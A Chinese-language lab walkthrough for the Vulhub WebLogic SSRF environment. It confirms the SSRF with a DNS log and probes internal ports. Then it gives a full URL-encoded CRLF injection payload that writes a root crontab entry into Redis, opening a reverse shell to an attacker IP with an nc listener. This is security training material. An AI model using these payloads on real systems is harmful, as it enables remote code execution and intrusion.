文章目录
Path : vulhub/weblogic/ssrf
编译及启动测试环境
bash
docker compose up -d
Weblogic中存在一个SSRF漏洞,利用该漏洞可以发送任意HTTP请求,进而攻击内网中redis、fastcgi等脆弱组件
访问http://127.0.0.1:7001/uddiexplorer/
,无需登录即可查看uddiexplorer应用
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点击Search Public Registries
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来到http://127.0.0.1:7001/uddiexplorer/SearchPublicRegistries.jsp
页面
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漏洞测试
打开BurpSuite
测试,点击Search
按钮
Ctrl+r
发送到Repeater
模块,观察数据包
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根据数据包的响应信息,可以猜测operator
参数后面可以跟一个url地址
利用dnslog平台测试,生成一个域名
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成功解析到,说明operator
后面 可以做url地址请求
,说明存在SSRF 漏洞
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访问一个可以访问的IP:PORT,如http://127.0.0.1:80
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发现80
端口没有开放
在访问7001
端口,
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通过错误的不同,即可探测内网状态。
环境是在docker
上启动的,(docker环境的网段一般是172.*)
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注入HTTP头,利用Redis反弹shell
发送三条redis命令,将弹shell脚本写入/etc/crontab
:
反弹到kali上
bash
set 1 "\n\n\n\n0-59 0-23 1-31 1-12 0-6 root bash -c 'sh -i >& /dev/tcp/192.168.80.141/21 0>&1'\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save
进行url编码
bash
set%201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20'sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.80.141%2F21%200%3E%261'%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave
注意,换行符是"\r\n",也就是"%0D%0A"。
将url编码后的字符串放在ssrf的域名后面,发送:
bash
http://172.19.0.2:6379/saury%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20'sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.80.141%2F21%200%3E%261'%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Asaury
kali开启监听:
bash
nc -lvvp 21
bp发送请求
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等待计划任务生效
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成功拿到shell
redis不能启动问题解决
在使用sudo docker-compose up -d
启动环境的时候,只启动了weblogic
,没有启动redis
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修改如下配置
bash
vim /etc/default/grub
GRUB_CMDLINE_LINUX_DEFAULT="vsyscall=emulate"
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:wq
保存后,命令行运行update-grub
reboot
重启,redis成功启动
解决方法来自:https://blog.csdn.net/weixin_43886198/article/details/111144854